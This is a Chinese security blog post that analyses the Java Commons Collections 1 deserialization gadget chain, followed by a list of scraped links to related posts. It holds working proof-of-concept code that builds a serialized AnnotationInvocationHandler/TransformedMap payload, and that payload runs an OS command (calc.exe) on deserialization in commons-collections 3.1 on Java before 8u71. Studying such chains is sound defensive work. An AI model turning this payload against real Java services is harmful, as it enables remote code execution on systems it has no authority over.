反序列化分析(二)--CommonCollections1

链子分析

  • 首先新建一个TransformedMap,其中二三参数为可控,后续要用到

  • 当TransformedMap执行put方法时,会分别执行transformKey和transformValue方法

  • 可以看到,两个方法中,都有transform方法,但参数不可控

  • 找能触发InvokerTransform的transform方法,而且是无需借用外部传参的那种

分析cc链的时候,最大的体会就是分析可以,但不明白为什么可以想到这么绝的方法?火候不够.

  • 可是要执行invokeTransform,那就又少不了外部传参加以控制..

先不管这个ChainedTransformer怎么想到的,就假设已经知道了这个可以把前一个结果当作后一个函数的参数就好了

  • 那就说明,还要找一个transform实现类,能够返回Runtime

  • 这个类可以返回一个对象,而imap为可控,所以只要知道了input的值,例如为trick,那么iMap['trick']就可以返回一个Runtime,从而可以完成既定目标(但这个还是要借助外部参数,但可行性较高,毕竟一般不会传Runtime作为键值对,但会传一个字符串,感觉又有点像php链子的找法了)
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

        //创建一个含有Runtime的map
HashMap<String, Runtime> stringRuntimeHashMap = new HashMap<>();
stringRuntimeHashMap.put("Aur0ra", Runtime.getRuntime());
MapTransformer mapTransformer = (MapTransformer) MapTransformer.getInstance(stringRuntimeHashMap); //传进去作为第一个transformer类
Transformer[] transformers = {
mapTransformer,
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer); outerMap.put("name","Aur0ra"); }

其中部分的数据需要同步



因为最后相当于是从那个map中获取指定键的值,所以map构造,以及put的时候,需要注意同步性

  • 可以看到上面的确实可以利用,但前提是知道put的内容,还是有缺陷.所以看下下面官方给的链

  • 这个是完全无需借助不可控变量的

  • 返回的是类中的某个元素,所以是可控的,且与传进来的参数无关

public static void main(String[] args) {

        Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer); outerMap.put("name","Aur0ra"); //任意值,只要有put动作即可 }

  • 至此,从TransformerMap->chainedTransformer->ConstantTransformer&InvokerTransformer这条链已经分析清楚了.

一遍下来,有些地方和php链还是相似的,只是说有些trick的跳度稍大,没有开发基础的,比较难以理解(比如我).

完善成可利用的POC

上面只是一个样例POC是手动触发的,现实中还需要一个会自动触发的点,对该Map进行写的操作.所以要先找一个类其中包含可控map,且存在自动触发的反序列化点.

在找AnnotationInvocationHandler的时候,用import导入一直显示没有,但都下了几个jdk,都没有都快放弃了,结果突然发现,标识它不是public类,所以无法被import导入,,,,直接整

  • 序列化构造时可能遇到的问题
  1. AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)的认知
  2. Runtime类没有实现序列化接口,无法完成序列化。
  • 解决方案
  1. 该<? extends Annotation>代表需要是继承的子类,所以传的时候需要是子类对象的class
  2. 利用反射,借用InvokerTransformer,让Runtime在反序列化后形成。或者借用其他代码执行的类
  3. common-collections 3.2.2后加入了安全机制,这里我直接改成了3.1的cc

最终

利用条件

sun.reflect.annotation.AnnotationInvocationHandler的第一个参数不仅要是Annotation的子类,而且还要和后面的Map都拥有一个同名函数

java 8u71前版本,后面的版本中有修改,需要更换利用

 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
/**
* 1.让Runtime在序列化后产生
* 2。采用其他方式进行命令执行
*/ /**
Method method = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) method.invoke(null);
r.exec("calc.exe");
*/ Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}), //返回一个Runtime
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap();
hashMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true); /**
* AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)
* 这里第一个参数需要是Annotation的子类
*/ Object o = constructor.newInstance(Retention.class, outerMap); ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("1.txt"));
ous.writeObject(o); ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(o);
objectOutputStream.close(); System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject(); }

总结

hashMap与transformer之间的渊源:一般添加新的值时,为了有一定的规则,这个时候需要用到转换(Transform)相关的东西进行转换。这就是为什么hashMap总是和transform之类的能联想到一起

  1. invokeTransform -- 能够执行命令
  2. ConstantTransform -- 不需要依赖参数,可以返回一个可控的内部属性
  3. chainedTransformer -- 能够将前面产生的结果作为后面的参数,和FilterChain相似

[JavaWeb]反序列化分析(二)--CommonCollections1的更多相关文章

  1. Java 序列化和反序列化(二)Serializable 源码分析 - 1

    目录 Java 序列化和反序列化(二)Serializable 源码分析 - 1 1. Java 序列化接口 2. ObjectOutputStream 源码分析 2.1 ObjectOutputSt ...

  2. Java安全之SnakeYaml反序列化分析

    Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...

  3. SNMP报文抓取与分析(二)

    SNMP报文抓取与分析(二) SNMP报文抓取与分析(二) 1.SNMP报文表示简介 基本编码规则BER 标识域Tag表示 长度域length表示 2.SNMP报文详细分析(以一个get-respon ...

  4. Fresco 源码分析(二) Fresco客户端与服务端交互(1) 解决遗留的Q1问题

    4.2 Fresco客户端与服务端的交互(一) 解决Q1问题 从这篇博客开始,我们开始讨论客户端与服务端是如何交互的,这个交互的入口,我们从Q1问题入手(博客按照这样的问题入手,是因为当时我也是从这里 ...

  5. yhd日志分析(二)

    yhd日志分析(二) 继续yhd日志分析,统计数据 日期 uv pv 登录人数 游客人数 平均访问时长 二跳率 独立ip数 1 分析 登录人数 count(distinct endUserId) 游客 ...

  6. SQLite入门与分析(二)---设计与概念(续)

    SQLite入门与分析(二)---设计与概念(续)   写在前面:本节讨论事务,事务是DBMS最核心的技术之一.在计算机科学史上,有三位科学家因在数据库领域的成就而获ACM图灵奖,而其中之一Jim G ...

  7. Linux内核启动代码分析二之开发板相关驱动程序加载分析

    Linux内核启动代码分析二之开发板相关驱动程序加载分析 1 从linux开始启动的函数start_kernel开始分析,该函数位于linux-2.6.22/init/main.c  start_ke ...

  8. 一些有用的javascript实例分析(二)

    原文:一些有用的javascript实例分析(二) 5 求出数组中所有数字的和 window.onload = function () { var oBtn = document.getElement ...

  9. Android4.0图库Gallery2代码分析(二) 数据管理和数据加载

    Android4.0图库Gallery2代码分析(二) 数据管理和数据加载 2012-09-07 11:19 8152人阅读 评论(12) 收藏 举报 代码分析android相册优化工作 Androi ...

随机推荐

  1. CF1177A Digits Sequence (Easy Edition) 题解

    Content 一个序列由从 \(1\) 开始的数字不断在末端拼接,就像这样:\(12345678910111213141516...\).现在,给定一个数字 \(k\),请输出这个序列的第 \(k\ ...

  2. CF1006B Polycarp's Practice 题解

    Content 给定一个长度为 \(n\) 的数列,试将其分成 \(k\) 段,使得每一段中的最大值的和最大. 数据范围:\(1\leqslant k,n,a_i\leqslant 2000\). S ...

  3. Java的运行机制

    Java程序运行机制 编译型(操作系统 c/c++) 解释型(网页 不追求速度) 程序运行机制

  4. Qt5使用QSqlQuery读写sqlite3数据库

    概述 本文将介绍使用 Qt5使用QSqlQuery读写sqlite3. 设计初衷: 项目需要使用配置文件,配置文件使用的是sqlite3 , 这是V1.0.0, 后期增加其他功能. 需要C++11支持 ...

  5. 【LeetCode】163. Missing Ranges 解题报告 (C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 遍历 日期 题目地址:https://leetcode ...

  6. 【LeetCode】1133. Largest Unique Number 解题报告(C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 桶排序 日期 题目地址:https://leetcod ...

  7. 【LeetCode】20. Valid Parentheses 有效的括号

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 个人公众号:负雪明烛 本文关键词:有效,括号,括号匹配,栈,题解,leetcode, 力扣 ...

  8. 【剑指Offer】10- II. 青蛙跳台阶问题 解题报告(Python & C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 个人微信公众号:负雪明烛 目录 题目描述 解题方法 动态规划 日期 题目地址:https: ...

  9. 利用shiro反序列化注入冰蝎内存马

    利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...

  10. 「算法笔记」BSGS 与 exBSGS

    一.离散对数 给定 \(a,b,m\),存在一个 \(x\),使得 \(\displaystyle a^x\equiv b\pmod m\) 则称 \(x\) 为 \(b\) 在模 \(m\) 意义下 ...